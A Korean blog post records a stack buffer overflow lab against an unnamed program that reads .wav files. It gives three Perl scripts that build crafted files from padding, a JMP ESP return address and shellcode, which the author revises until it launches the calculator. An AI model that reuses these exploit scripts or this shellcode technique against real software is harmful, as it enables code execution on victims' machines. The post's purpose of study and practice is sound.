Wednesday, January 16, 2019

스택 기반 버퍼오버플로우_2

STACK 기반 

Buffer Overflow_1에 이어서


앞서 실험했을 때 RETN주소가 계속바뀌어 주소 삽입은 방법이 되지 못함

[참고]
MP, CALL, RET 는 방향의 변환을 주는 언어기 때문에 주의해서 볼 것



  • Return to Shellcode에 JMP ESP 가 있는 곳을 주소로 대입(예.00401111)하면 STACK 에 Shell code부분이 ESP의 주소가 들어가므로 ESP가 실행됨
( shellcode에 직접 삽입할 필요가 없음 )



  • 여기서 JMP ESP 검색



  •  이 주소를 이용해서 시도



  •  PERL 파일 만들어서 execute
    • 리턴값과 쉘값을 직접 넣어줌
 # Fuzzer1
my $file= "fuzz5.wav";
my $dummy = "\x41" x 4128;
my $ret = "\xD1\xC8\x43\x00";
my $shell = "\x36\xC6\x45\xFB\x63\x36\xC6\x45\xFC\x61\x36\xC6\x45\xFD\x68\x36\xC6\x45\xFE\x63\x36\xC6\x45\xFF\x00\x6A\x05\x36\x8D\x45\xFB\x50\xBE\xAD\x23\x86\x7C\xFF\xD6";
open($fd,">$file");
print $fd $dummy.$ret.$shell;
close($fd);


  • 결과
더미값의 수, rtn값주소 다 맞음
(실행시켰을 때 내가 만들어놓은 함수에게로 도착함)
근데 실행되기 바로 직전에 멈춤
이유 : EBP의 값이 41414141,-> ESP와 EBP사이에 쉘코드를 넣어줘야하므로 EBP를 더 아래로 내려줘야한다.

  • 그러므로 ShellCode를 다시 짜야함 EBP기준을 ESP로
어셈블리어
39bytes이상으로 넉넉하게 잡기위해서 50으로 



리버싱



바이너리만 카피해서 기계어 뽑아내기



 # Fuzzer1
my $file= "fuzz5.wav";
my $dummy = "\x41" x 4128;
my $ret = "\xD1\xC8\x43\x00";
my $shell = "\x36\xC6\x44\x24\x50\x63\x36\xC6\x44\x24\x51\x61\x36\xC6\x44\x24\x52\x6C\x36\xC6\x44\x24\x53\x63\x36\xC6\x44\x24\x54\x00\x6A\x05\x36\x8D\x44\x24\x50\x50\xBE\xAD\x23\x86\x7C\xFF\xD6";
open($fd,">$file");
print $fd $dummy.$ret.$shell;
close($fd);


  • TIP으로 실행
함수가 진행되고 난 다음인데 계산기 창이 뜨지 않음
ESP를 기준으로 사용할 때는 PUSH 값이 중요함
ShellCode를 바꿔야한다는 의미



  • 쉘코드 변경
 PUSH 5 는 SW_SHOW의 인자값이 5


 # Fuzzer2
my $file= "ne20.wav";
my $dummy = "\x41" x 4128;
my $ret = "\xD1\xC8\x43\x00";
my $shell = "\x36\xC6\x44\x24\x50\x63\x36\xC6\x44\x24\x51\x61\x36\xC6\x44\x24\x52\x6C\x36\xC6\x44\x24\x53\x63\x36\xC6\x44\x24\x54\x00\x36\x8D\x44\x24\x50\x6A\x05\x50\xBE\xAD\x23\x86\x7C\xFF\xD6"
open($fd,">$file");
print $fd $dummy.$ret.$shell;
close($fd);


  • 기계어뽑아내서 wav 파일을 만들어서 실행
성공-!


2019-01-06

No comments:

Post a Comment

List

MobSF

MobSF는 오픈소스 모바일 앱 자동 보안 진단 프레임워크로 자동 분석 시스템 구축할 때 사용한다. 정정 및 동적 분석이 가능하며, Android, iOS, Windows에 대해 침투 테스트, 멀웨어 분석 및 보안 평가를 할 수 있다. 참고자료 필...